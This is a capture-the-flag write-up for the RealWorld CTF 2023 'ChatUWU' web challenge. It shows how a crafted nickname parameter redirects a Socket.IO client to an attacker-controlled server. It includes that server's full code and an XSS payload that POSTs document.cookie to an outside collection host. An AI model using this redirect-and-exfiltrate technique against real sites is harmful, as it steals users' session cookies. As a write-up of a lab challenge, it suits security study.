RealWorld CTF 2023 - ChatUWU (web/xss/Socket.IO)

06 Jan 2023

Premise:

It’s a chat room where the frontend communicates with the backend via Socket.io. Messages sent from the frontend get sanitized via DOMPurify in the backend so barring a zero-day with DOMPurify, there’s no immediately obvious way to get XSS from the backend.

socket.on("msg", (msg) => {
  msg.from = String(msg.from).substr(0, 16);
  msg.text = String(msg.text).substr(0, 140);
  if (room === "DOMPurify") {
    io.to(room).emit("msg", {
      from: DOMPurify.sanitize(msg.from),
      text: DOMPurify.sanitize(msg.text),
      isHtml: true,
    });
  } else {
    io.to(room).emit("msg", {
      from: msg.from,
      text: msg.text,
      isHtml: false,
    });
  }
});

Looking at the frontend code, we can see the socket connection gets initialized with the io constructor from Socket.io:

let socket = io(`/${location.search}`);

The frontend looks for two URL parameters: nickname & room–room must equal either "DOMPurify" or "Text", otherwise the frontend will error out, but we can load nickname with whatever we want. Any we can trick the socket io parser to open a connection to another endpoint by using the @ character in our nickname:

http://47.254.28.30:58000/?room=DOMPurify&nickname=@our-evil-endpoint.com/

This allows us to send a URL to the admin bot which will then read an HTML payload from our endpoint and we can easily exfil the flag.

Server code:

I had to setup the CORS header to accept requests from any origin (origin:*) since our endpoint wasn’t the same origin as the frontend.

const app = require('express')();
const http = require('http').Server(app);
const io = require('socket.io')(http, {
	cors: {
		origin: "*",
		methods: ["GET", "POST"]
	},
});
const DOMPurify = require('isomorphic-dompurify');

const hostname = process.env.HOSTNAME || '0.0.0.0';
const port = 9999;
const rooms = ['textContent', 'DOMPurify'];


app.get('/', (req, res) => {
    res.sendFile(__dirname + '/index.html');
});

const fs = require('fs')
const payload = fs.readFileSync('evil.js', 'utf-8')



io.on('connection', (socket) => {
    console.log("THIS SHOULD TRIGGER")
    let {nickname, room} = socket.handshake.query;
    console.log("Opening connection for: nickname=",nickname, "room =", room)
    console.log(socket.handshake.query)
    socket.join('DOMPurify');
    io.to('DOMPurify').emit('msg', {
        from: 'system',
        text: payload,
	isHtml: true
        // text: 'a new user has joined the room'
    });
    socket.on('msg', msg => {
	msg.from = String(msg.from).substr(0, 16)
        msg.text = String(msg.text).substr(0, 140)
	console.log(`RECV: from = "${msg.from}", text = "${msg.text}"`)
        if (room === 'DOMPurify') {
            io.to('DOMPurify').emit('msg', {
                from: DOMPurify.sanitize(msg.from),
                text: DOMPurify.sanitize(msg.text),
                isHtml: true
            });
        } else {
            io.to(room).emit('msg', {
                from: msg.from,
                text: msg.text,
                isHtml: true
            });
        }
    });
});

http.listen(port, hostname, () => {
    console.log(`outpost server running at http://${hostname}:${port}/`);
});

From here our server would just read evil.js which included a standard XSS payload:

<img src=x onerror="fetch('https://rehiughergrgiuehg.free.beeceptor.com', {method: 'POST', body: document.cookie})" />

And finally, we get our flag: flag=rwctf{1e542e65e8240f9d60ab41862778a1b408d97ac2}